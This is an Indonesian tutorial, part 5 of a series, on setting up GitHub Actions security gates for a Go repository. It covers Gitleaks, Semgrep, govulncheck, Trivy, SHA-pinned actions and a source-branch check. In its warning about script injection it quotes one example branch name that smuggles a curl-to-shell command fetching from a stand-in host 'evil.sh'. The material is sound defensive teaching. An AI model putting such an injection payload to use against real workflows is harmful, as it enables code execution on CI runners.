Bagian 5: Repo GitHub dan Workflow PR sebagai Security Gate

· 18 menit baca

English
//TUTORIAL · 5 DARI 10 — Secure CI/CD Pipeline dengan Go, GitHub Actions, Vault, dan Dokploy

Sampai Bagian 4, semuanya masih di laptop: Vault sudah siap, aplikasi Go sudah jadi, Vault Agent sidecar sudah jalan di Compose. Belum ada satu pun yang ada di GitHub.

Di bagian ini kodenya naik ke GitHub, lalu kita pasang security gate di setiap pull request. Hasil akhirnya: setiap PR ke development atau main otomatis menjalankan tujuh pemeriksaan, dan PR ke main dicek juga asal branch-nya.

Satu hal penting dari awal: bagian ini belum memblokir merge. Tujuannya membuat pemeriksaannya jalan dan hijau. Pemblokiran lewat ruleset ada di Bagian 6, karena GitHub baru bisa memilih nama status check sebagai required setelah workflow-nya pernah jalan minimal sekali.

text
PR ke development / main ──► pr-checks.yml                              ├─ test               gofmt, go vet, go test -race                              ├─ gitleaks           ada secret bocor?                              ├─ semgrep            kode berbahaya (SAST)                              ├─ govulncheck        vuln yang benar-benar dipanggil                              ├─ dependency-review  dependency baru yang rentan                              ├─ trivy-config       Dockerfile salah konfigurasi                              └─ trivy-image        CVE CRITICAL yang sudah ada fix-nyaPR ke main ────────────────► source-branch.yml (harus dari development)

Sebelum publik: scan seluruh history

Repo ini akan publik. Sekali secret ter-push ke repo publik, anggap sudah bocor. Bot memindai GitHub dalam hitungan menit, dan menghapus commit nggak menarik kembali salinan yang sudah diambil orang. Jadi scan sebelum push, bukan sesudah.

bash
git statusgit log --oneline --graph --allgitleaks git . --redact --no-banner

gitleaks git . memindai seluruh history git, bukan cuma file yang ada sekarang. Secret yang pernah di-commit lalu dihapus di commit berikutnya tetap ada di history, dan tetap ikut ter-push. --redact menyensor nilainya di output kalau sampai ketemu.

Cek hasil: baris terakhir harus no leaks found.

Catatan

Kenapa `testdata/` dan `vault/policies/` tetap di-commit

testdata/config.json berisi nilai dummy yang sengaja ditandai (dev-only-not-a-secret-...) dan dipakai oleh test. Kalau di-ignore, job test di CI langsung gagal karena filenya nggak ada. Yang masuk .gitignore itu .env, config.local.json, dan hasil build. testdata cukup masuk .dockerignore supaya nggak ikut ke image. Policy Vault juga bukan secret: isinya aturan akses, bukan kunci. Justru bagus di repo supaya perubahan hak akses lewat review PR.

Buat repo dan branch

Kode aplikasi sengaja nggak langsung di-push ke development. Saya mau semuanya masuk lewat PR, sama seperti kerja tim. Jadi main dan development dibuat dulu hanya berisi commit awal.

bash
gh repo create dimss113/secure-cicd-go --public \  --description "Secure CI/CD demo: Go API, GitHub Actions security gates, Vault Agent sidecar, Dokploy"git remote add origin git@github.com:dimss113/secure-cicd-go.gitgit push -u origin maingit branch development maingit push -u origin developmentgh repo edit dimss113/secure-cicd-go --default-branch development

git branch development main membuat development dari isi main tanpa pindah branch. --default-branch development membuat PR baru otomatis mengarah ke sana.

Nyalakan pengaturan keamanan repo

Sebelum ada workflow, ada beberapa pengaturan repo yang jadi lapisan pertama:

bash
REPO=dimss113/secure-cicd-go gh api -X PUT repos/$REPO/vulnerability-alerts gh api -X PATCH repos/$REPO \  -f "security_and_analysis[secret_scanning][status]=enabled" \  -f "security_and_analysis[secret_scanning_push_protection][status]=enabled" gh api -X PUT repos/$REPO/actions/permissions/workflow \  -f default_workflow_permissions=read \  -F can_approve_pull_request_reviews=false

Pengaturan

Buat apa

vulnerability-alerts

Dependabot alerts untuk dependency di go.mod

secret_scanning_push_protection

Menolak git push yang berisi pola secret yang dikenali. Lapisan sebelum Gitleaks di CI

default_workflow_permissions=read

GITHUB_TOKEN default-nya hanya baca. Job yang butuh lebih harus minta sendiri

can_approve_pull_request_reviews=false

Workflow nggak boleh meng-approve PR. Workflow yang disusupi nggak bisa meloloskan PR-nya sendiri

-f mengirim nilai sebagai string, -F mengenali tipe, jadi false terkirim sebagai boolean.

Cek hasil:

bash
gh api repos/$REPO --jq .security_and_analysisgh api repos/$REPO/actions/permissions/workflow# {"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}

Pastikan juga Dependency graph menyala di Settings → Advanced Security. Job dependency-review butuh itu. Untuk repo publik biasanya sudah otomatis menyala.

Lalu kode aplikasi masuk lewat PR #1:

bash
git switch feature/vault-agentgit push -u origin feature/vault-agentgh pr create --base development --head feature/vault-agent \  --title "feat: go api with vault agent sidecar"gh pr merge --merge --delete-branch

PR #1 ini belum menjalankan pemeriksaan apa pun, karena workflow-nya belum ada. Itu sengaja: PR #2 nanti yang menambahkan workflow, dan workflow itu langsung memeriksa PR-nya sendiri.

Shift-left: scanner di laptop menemukan masalah nyata

Sebelum menulis workflow, saya jalankan dulu scanner yang nanti dipakai CI. Jauh lebih cepat ketahuan di laptop daripada menunggu CI merah.

bash
git switch -c feature/pr-checksgo run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...

Dan ternyata langsung ada temuan:

text
Vulnerability #1: GO-2026-6809    Distrust compromised intermediate certificates in crypto/x509  Found in: crypto/x509@go1.27.1  Fixed in: crypto/x509@go1.27.3    Example traces found:      #1: internal/cryptobox/cryptobox.go:40:24: cryptobox.Box.Encrypt calls rand.Read, which eventually calls x509.Certificate.VerifyVulnerability #2: GO-2026-6617    HTTP/2 server crash due to HPACK encoder race in net/http  Found in: net/http/internal/http2@go1.27.1  Fixed in: net/http/internal/http2@go1.27.2exit status 3

Masalahnya ada di standard library Go 1.27.1, bukan di kode saya. Bagian Example traces itu yang membuat govulncheck berharga: ia membuktikan kode kita benar-benar memanggil fungsi yang rentan, bukan sekadar mencocokkan nomor versi. exit status 3 artinya di CI job ini akan gagal.

Perbaikannya: naikkan Go ke 1.27.3. Dan ini yang sempat bikin saya hampir tertipu: harus di dua tempat.

bash
go mod edit -toolchain=go1.27.3
Dockerfile dockerfile
FROM golang:1.27.3-alpine@sha256:d200d2dd76b03a99b52651fd1325aff7dcd35422c35c01bac56571b0507f3deb AS build

Perhatian

Hijau palsu kalau cuma `go.mod` yang dinaikkan

go.mod dibaca oleh actions/setup-go di CI, jadi govulncheck akan hijau. Tapi image resmi golang memasang GOTOOLCHAIN=local, artinya Go 1.27.1 di dalam image nggak otomatis naik walau go.mod minta 1.27.3. Hasilnya: CI hijau, padahal binary yang jalan di server tetap dibangun dengan versi rentan. Versi di go.mod dan Dockerfile harus selalu sama.

Digest sha256:… itu diambil dari registry, bukan dikarang: docker buildx imagetools inspect golang:1.27.3-alpine, ambil baris Digest: paling atas. Itu digest index multi-arsitektur, jadi build di Mac tetap memilih arm64 dan di runner GitHub memilih amd64.

Cek hasil:

bash
go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...   # No vulnerabilities found.go test -race ./...docker build -t scg-check . && trivy image --severity HIGH,CRITICAL scg-checkgit commit -am "fix: build with go 1.27.3 to pick up stdlib security fixes"

Menariknya, Trivy juga melihat masalah yang sama di image lama: 4 temuan HIGH di stdlib. Tapi gate Trivy image nanti nggak akan memblokir itu, karena aturannya hanya CRITICAL. Kenapa begitu, dibahas di bawah.

Workflow pr-checks.yml

Semua job ada di satu file .github/workflows/pr-checks.yml. Saya tunjukkan per bagian supaya penjelasannya dekat dengan kodenya.

Bagian atas

.github/workflows/pr-checks.yml yaml
name: pr-checks on:  pull_request:    branches: [development, main] permissions:  contents: read concurrency:  group: pr-checks-${{ github.event.pull_request.number }}  cancel-in-progress: true
  • on: pull_request jalan saat PR ke development atau main dibuka atau di-push ulang. Sengaja bukan pull_request_target: untuk PR dari fork, pull_request jalan dengan token read-only dan tanpa secret repo. pull_request_target jalan dengan hak penuh repo tujuan, dan kalau sambil men-checkout kode PR, orang asing bisa menjalankan kodenya dengan secret kamu.

  • permissions: contents: read jadi hak default untuk semua job: hanya baca kode.

  • concurrency membatalkan run lama kalau kamu push commit baru ke PR yang sama. Hemat menit runner, dan hasilnya selalu untuk commit terbaru.

Ada beberapa kebiasaan yang berulang di setiap job:

Kebiasaan

Alasan

ID job (test, gitleaks, …)

Itu juga nama status check. Ruleset di Bagian 6 memilih nama ini, jadi jangan diganti-ganti

runs-on: ubuntu-24.04

Versi dipatok, bukan ubuntu-latest, supaya runner nggak berubah diam-diam

timeout-minutes

Job yang macet dibunuh cepat. Default GitHub 360 menit

persist-credentials: false

Checkout nggak menyimpan token di disk runner

uses: owner/repo@<sha40> # vX.Y.Z

Action dipatok ke commit SHA penuh

Pin action ke commit SHA

yaml
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

Tag seperti v7 atau v0.36.0 bisa dipindah oleh pemilik repo, atau oleh penyerang yang membobol akunnya, ke kode lain. Workflow yang memakai tag langsung menjalankan kode itu, padahal kodenya ikut membaca repo dan token kamu. Kasus nyatanya tj-actions/changed-files di Maret 2025: semua tag-nya diarahkan ke kode yang membocorkan secret CI ke log. Commit SHA nggak bisa dipindah. Komentar # v7.0.1 cuma pengingat untuk manusia.

Cara mencari SHA sendiri waktu upgrade:

bash
gh api repos/actions/checkout/commits/v7.0.1 --jq .sha

Kalau di Settings → Actions → General ada opsi "Require actions to be pinned to a full-length commit SHA", centang. GitHub akan menolak uses: yang masih pakai tag.

persist-credentials: false

Untuk clone, actions/checkout memakai GITHUB_TOKEN. Default-nya token itu disimpan di runner supaya perintah git berikutnya otomatis ter-autentikasi. Masalahnya, go test menjalankan kode dari PR. Test jahat bisa membaca file kredensial itu lalu mengirimnya ke luar. Action pihak ketiga di job yang sama juga bisa membacanya. Workflow ini nggak pernah git push, jadi token-nya nggak perlu disimpan sama sekali.

Ini berlapis dengan contents: read dan umur token yang habis saat job selesai. Satu lapisan gagal, lapisan lain masih menahan.

Job test

yaml
  test:    runs-on: ubuntu-24.04    timeout-minutes: 10    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0        with:          go-version-file: go.mod      - name: gofmt        run: |          unformatted="$(gofmt -l .)"          if [ -n "$unformatted" ]; then            echo "::error::These files are not gofmt-ed:"            echo "$unformatted"            exit 1          fi      - name: go vet        run: go vet ./...      - name: go test        run: go test -race ./...

Runner itu VM kosong, jadi butuh dua uses:: satu mengambil kode, satu memasang Go. go-version-file: go.mod membaca baris toolchain go1.27.3, jadi versinya deterministik. gofmt -l hanya menampilkan nama file yang belum diformat, nggak mengubahnya. ::error:: tampil sebagai anotasi merah di ringkasan run. -race mendeteksi data race di test.

Job gitleaks

yaml
  gitleaks:    runs-on: ubuntu-24.04    timeout-minutes: 10    permissions:      contents: read      security-events: write    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          fetch-depth: 0          persist-credentials: false      - name: Install gitleaks        env:          GITLEAKS_VERSION: 8.30.1          GITLEAKS_SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb        run: |          curl -sSfL -o gitleaks.tar.gz \            "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz"          echo "${GITLEAKS_SHA256}  gitleaks.tar.gz" | sha256sum --check -          tar -xzf gitleaks.tar.gz gitleaks          rm gitleaks.tar.gz      - name: Scan PR commits        env:          BASE_SHA: ${{ github.event.pull_request.base.sha }}          HEAD_SHA: ${{ github.event.pull_request.head.sha }}        run: |          ./gitleaks git . --no-banner --redact \            --log-opts="${BASE_SHA}..${HEAD_SHA}" \            --report-format sarif --report-path gitleaks.sarif      - name: Upload SARIF        if: ${{ !cancelled() }}        uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1        with:          sarif_file: gitleaks.sarif          category: gitleaks

Gagal kalau: ada secret apa pun di commit milik PR ini. Nggak ada ambang severity, secret itu ya secret.

Beberapa hal yang perlu diperhatikan:

  • Saya nggak pakai gitleaks/gitleaks-action karena lisensinya EULA, bukan open source. Jadi binary resmi diunduh, lalu dicocokkan dengan hash SHA-256 yang dipatok. Prinsipnya sama dengan pin SHA: kalau file rilis diganti orang, hash-nya beda dan job berhenti.

  • fetch-depth: 0 mengambil seluruh history. Default checkout cuma satu commit, dan secret yang ditambah di commit tengah lalu dihapus di commit terakhir tetap harus ketahuan. Tanpa ini gitleaks error Invalid revision range.

  • --log-opts="BASE..HEAD" membatasi scan ke commit milik PR ini saja.

  • --redact penting karena log Actions di repo publik bisa dibaca siapa saja.

Perhatian

Blok `permissions:` di job mengganti, bukan menambah

Begitu job menulis permissions: sendiri, default contents: read dari atas hilang untuk job itu. Makanya contents: read ditulis ulang di samping security-events: write. Hak security-events: write hanya diberikan ke job yang upload SARIF.

SARIF dan tab Security

SARIF adalah format JSON standar untuk hasil scan. Gitleaks, Semgrep, dan Trivy punya output sendiri-sendiri, tapi semuanya bisa menulis SARIF, dan GitHub cukup paham satu format itu. Setelah di-upload lewat github/codeql-action/upload-sarif, temuan muncul di Security → Code scanning, dan temuan baru tampil sebagai anotasi di baris kode di tab Files changed PR. Riwayatnya juga tersimpan: kapan muncul, kapan diperbaiki, kapan di-dismiss. Ini nanti dipakai di Bagian 9.

Dua detail kecil yang penting:

  • category harus beda untuk tiap tool. Kalau sama, hasilnya saling menimpa.

  • if: ${{ !cancelled() }}. Secara default setiap langkah punya if: success(), jadi begitu scan menemukan secret (exit 1), upload dilewati dan laporannya hilang. Padahal laporan paling dibutuhkan justru saat ada temuan. !cancelled() artinya "jalan selama run nggak dibatalkan", sukses maupun gagal. Status job tetap merah, jadi gate-nya tetap bekerja. Saya nggak pakai always() karena itu tetap jalan walau run dibatalkan oleh concurrency. Bungkus ${{ }} dipakai karena ! di awal nilai YAML punya arti khusus.

Catatan

SARIF itu laporan, bukan gate. Yang menentukan merah atau hijau tetap exit code langkah scan.

Job semgrep

yaml
  semgrep:    runs-on: ubuntu-24.04    timeout-minutes: 10    permissions:      contents: read      security-events: write    container:      image: semgrep/semgrep:1.182.0@sha256:4a34048c04fef049f71665047f074cffb00cc3d89482f965a5cd151d589237af    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - name: Semgrep scan        run: |          semgrep scan --config p/golang --config p/default --config p/secrets \            --severity ERROR --error --metrics=off \            --sarif-output=semgrep.sarif      # Upload SARIF: sama seperti gitleaks, category: semgrep

Gagal kalau: ada temuan severity ERROR. WARNING dan INFO diabaikan supaya gate-nya nggak berisik.

Job ini jalan di dalam container resmi Semgrep CE, dipatok tag dan digest. Flag yang paling sering dilupakan orang adalah --error: tanpa itu, Semgrep selalu keluar sukses walaupun ada temuan. --metrics=off supaya nggak mengirim data pemakaian.

Catatan

`p/default` baru ditambahkan di Bagian 6

Versi pertama saya hanya pakai p/golang dan p/secrets. Waktu membuat demo PR yang sengaja berisi exec.Command("sh", "-c", input) di Bagian 6, ternyata p/golang nggak menangkapnya. Aturan dangerous-exec-command ada di p/default. Di sini saya tampilkan versi yang sudah diperbaiki, ceritanya lengkap di Bagian 6.

Job govulncheck

yaml
  govulncheck:    runs-on: ubuntu-24.04    timeout-minutes: 10    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0        with:          go-version-file: go.mod      - name: govulncheck        run: go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...

Gagal kalau: ada vuln yang reachable, yaitu benar-benar dipanggil kode (exit 3). Ini perintah yang sama dengan yang tadi saya jalankan di laptop, tanpa action pihak ketiga. Karena govulncheck memeriksa standard library sesuai Go yang terpasang, versi Go harus dipatok lewat go.mod.

Job dependency-review

yaml
  dependency-review:    runs-on: ubuntu-24.04    timeout-minutes: 10    steps:      - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0        with:          fail-on-severity: high

Gagal kalau: PR menambahkan atau menaikkan dependency yang punya vuln High atau Critical. Action ini membandingkan dependency graph sebelum dan sesudah PR, jadi nggak perlu checkout.

dependency-review

govulncheck

Yang dilihat

Hanya perubahan dependency di PR

Seluruh kode

Dasar keputusan

Nomor versi

Apakah fungsi rentan benar-benar dipanggil

Keduanya saling melengkapi: dependency-review menahan dependency rentan sebelum masuk, govulncheck menangkap vuln baru di dependency yang sudah lama ada.

Job trivy-config dan trivy-image

Dua job Trivy ini memeriksa hal yang berbeda:

trivy-config

trivy-image

Yang dipindai

Resepnya: Dockerfile dan vault-agent/Dockerfile

Hasilnya: image yang sudah di-build

Mencari

Salah konfigurasi, misalnya jalan sebagai root

CVE di paket OS, stdlib Go, library

Siapa yang bisa memperbaiki

Selalu kita

Kadang harus menunggu vendor

Gagal kalau

HIGH atau CRITICAL

CRITICAL yang sudah ada fix-nya

Beda ambangnya disengaja. Misconfig selalu bisa kita perbaiki saat itu juga, jadi HIGH pun memblokir. CVE yang belum ada perbaikannya nggak bisa diatasi dengan upgrade. Kalau ikut memblokir, semua PR bisa macet berhari-hari karena hal di luar kendali kita. HIGH cukup dicatat di tab Security. Trivy juga nggak memindai file Compose, jadi yang terbaca hanya dua Dockerfile.

yaml
  trivy-image:    runs-on: ubuntu-24.04    timeout-minutes: 15    permissions:      contents: read      security-events: write    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - name: Build image (not pushed)        run: docker build -t secure-cicd-go:pr .      - name: Trivy image (SARIF report)        uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0        with:          version: v0.76.1          scan-type: image          image-ref: secure-cicd-go:pr          severity: HIGH,CRITICAL          limit-severities-for-sarif: true          format: sarif          output: trivy-image.sarif          exit-code: 0      - name: Upload SARIF        if: ${{ !cancelled() }}        uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1        with:          sarif_file: trivy-image.sarif          category: trivy-image      - name: Trivy image (gate)        uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0        with:          version: v0.76.1          skip-setup-trivy: true          scan-type: image          image-ref: secure-cicd-go:pr          severity: CRITICAL          ignore-unfixed: true          format: table          exit-code: 1

trivy-config bentuknya sama persis, hanya tanpa langkah build, dengan scan-type: config, scan-ref: ., category: trivy-config, dan gate-nya severity: HIGH,CRITICAL tanpa ignore-unfixed. Saya nggak tulis ulang di sini.

Pola laporan → upload → gate ini intinya. Langkah laporan pakai exit-code: 0, jadi nggak pernah gagal dan selalu mencatat semua HIGH dan CRITICAL. Langkah gate pakai exit-code: 1 dengan aturan yang lebih sempit, dan hasilnya tabel yang enak dibaca di log. Kalau gate ditaruh duluan lalu gagal, laporan nggak jalan dan tab Security kosong justru saat ada temuan.

Beberapa input lain: version: v0.76.1 memasang versi Trivy yang sama dengan laptop (tanpa ini action memasang versi default-nya yang lebih lama). skip-setup-trivy: true di langkah kedua karena Trivy sudah terpasang. Image-nya nggak di-push ke mana pun. Push baru terjadi di Bagian 8, setelah lolos.

Contoh nyata waktu saya uji di repo ini:

  • Baris USER 65532:65532 dihapus dari Dockerfile → trivy-config merah dengan DS-0002 (HIGH): Specify at least 1 USER command. Ini nanti jadi salah satu demo PR di Bagian 6.

  • Image dengan Go 1.27.1 → laporan mencatat 4 HIGH di stdlib, tapi gate hijau karena nggak ada CRITICAL. Tetap saya perbaiki karena laporannya kelihatan, hanya saja nggak memblokir.

Perhatian

Salah ketik di `with:` nggak bikin job merah

Versi pertama saya menulis limit-se-for-sarif di job trivy-config. GitHub cuma memberi peringatan kuning Unexpected input(s), job tetap hijau, dan inputnya diam-diam diabaikan. actionlint juga nggak menangkapnya, karena untuk action yang dipatok ke SHA ia nggak tahu daftar input-nya. Saya baru sadar di Bagian 6. Hal yang sama bisa terjadi dengan persists-credentials (kelebihan huruf s): hardening-nya mati tanpa ada yang merah. Jadi baca anotasi kuning di ringkasan run, jangan cuma lihat centang hijau.

Catatan

Job `exceptions` dan `trivyignores`

Kalau kamu buka pr-checks.yml di repo final, ada satu job lagi bernama exceptions dan input trivyignores: .trivyignore di langkah Trivy. Keduanya bagian dari proses exception di Bagian 9, beserta file .trivyignore dan .gitleaksignore. Di tahap ini file-file itu belum ada.

Workflow source-branch.yml

Alur yang saya mau: ke main hanya boleh lewat development. Workflow kecil ini memaksanya.

.github/workflows/source-branch.yml yaml
name: source-branch on:  pull_request:    branches: [main] permissions: {} jobs:  source-branch:    runs-on: ubuntu-24.04    timeout-minutes: 2    steps:      - name: Only development may open a PR into main        env:          HEAD_REF: ${{ github.head_ref }}        run: |          if [ "$HEAD_REF" != "development" ]; then            echo "::error::PR into main must come from development, not '$HEAD_REF'"            exit 1          fi          echo "Source branch is development: OK"

permissions: {} artinya token tanpa hak apa pun. Job ini nggak butuh membaca kode, jadi nggak ada checkout. github.head_ref adalah nama branch sumber PR.

Bahaya

Jangan tulis `${{ }}` dari input pengguna langsung di `run:`

${{ ... }} disisipkan sebagai teks ke skrip sebelum bash menjalankannya. Nama branch ditentukan pembuat PR, dan di repo publik siapa pun bisa membuat PR dari fork. Branch bisa saja bernama a";curl${IFS}evil.sh|sh;". Kalau ditulis if [ "${{ github.head_ref }}" != ... ], perintah itu ikut dieksekusi di runner. Lewat env:, nilainya masuk sebagai variabel, dan bash memperlakukan "$HEAD_REF" sebagai data. Ini juga alasan BASE_SHA dan HEAD_SHA di job gitleaks lewat env:.

Lint, push, dan PR #2

Sebelum push, cek dulu workflow-nya dengan actionlint. Ia menangkap salah ketik kunci, ekspresi ${{ }} yang salah, dan menjalankan shellcheck ke isi run: kalau shellcheck terpasang. Tanpa output artinya bersih.

bash
go run github.com/rhysd/actionlint/cmd/actionlint@v1.7.12git add .github/workflows/pr-checks.yml .github/workflows/source-branch.ymlgit commit -m "ci: add pull request security gates"git push -u origin feature/pr-checksgh pr create --base development --title "ci: add pull request security gates"gh pr checks --watch

File disebut satu per satu di git add, bukan git add ., supaya nggak ada file tak sengaja yang ikut. gh pr checks --watch terus memperbarui status sampai semua selesai.

Cek hasil:

text
✓  pr-checks/dependency-review✓  pr-checks/gitleaks✓  pr-checks/govulncheck✓  pr-checks/semgrep✓  pr-checks/test✓  pr-checks/trivy-config✓  pr-checks/trivy-image

source-branch nggak muncul, dan itu benar: PR ini menuju development, bukan main.

Cek juga tab Security:

bash
gh api repos/dimss113/secure-cicd-go/code-scanning/analyses \  --jq '.[] | .category + "  results=" + (.results_count|tostring)'

Harusnya ada empat kategori, gitleaks, semgrep, trivy-config, trivy-image, masing-masing results=0. Kalau ada yang merah, gh run view --log-failed menampilkan hanya log langkah yang gagal.

Setelah semuanya hijau, merge:

bash
gh pr merge --merge --delete-branchgit switch development && git pull

Perhatian

Merge ini masih bisa dilakukan walau ada check merah. Belum ada ruleset. Jadi untuk sekarang, pastikan sendiri semuanya hijau sebelum merge.

Kalau ada masalah

Gejala

Penyebab

Solusi

git push ditolak GH013 ... secret

Push protection menemukan pola secret

Lapisan pertama bekerja. Hapus secret dari commit, jangan pilih "allow"

Upload SARIF: Resource not accessible by integration

Job nggak punya security-events: write

Cek blok permissions: job itu

Upload SARIF: Code scanning is not enabled

Repo masih privat

Code scanning gratis hanya untuk repo publik

Dependency review is not supported on this repository

Dependency graph mati

Nyalakan di Settings → Advanced Security

Gitleaks fatal: Invalid revision range

History nggak lengkap

fetch-depth: 0 di checkout

sha256sum: ... did NOT match

File unduhan beda dari hash

Jangan asal ganti hash. Cek checksums.txt di halaman rilis resmi

govulncheck gagal di CI, lolos di laptop

Versi Go beda

Pastikan baris toolchain di go.mod ter-commit

Rangkuman

  • Repo publik dimss113/secure-cicd-go dengan development sebagai default branch, history sudah di-scan Gitleaks sebelum publik.

  • Dependabot alerts, secret scanning, push protection menyala. Token Actions default read-only dan workflow nggak bisa approve PR.

  • Go dinaikkan ke 1.27.3 di go.mod dan Dockerfile setelah govulncheck menemukan dua vuln stdlib yang reachable.

  • pr-checks.yml dengan tujuh job: test, gitleaks, semgrep, govulncheck, dependency-review, trivy-config, trivy-image. Masing-masing punya ambang gagal yang jelas.

  • Hasil Gitleaks, Semgrep, dan Trivy masuk ke tab Security lewat SARIF.

  • Semua action dipatok ke commit SHA, permissions: minimal per job, persist-credentials: false, input pengguna lewat env:.

  • source-branch.yml yang menolak PR ke main kalau bukan dari development.

Sekarang semua check sudah jalan, tapi masih bisa diabaikan. Di Bagian 6 kita pasang ruleset supaya check merah benar-benar memblokir merge, lalu membuktikannya dengan demo PR yang sengaja berisi secret, kode berbahaya, dependency rentan, dan container root. Dari situ juga ketahuan dua kelemahan gate di atas yang tadi saya sebut.

Artikel terkait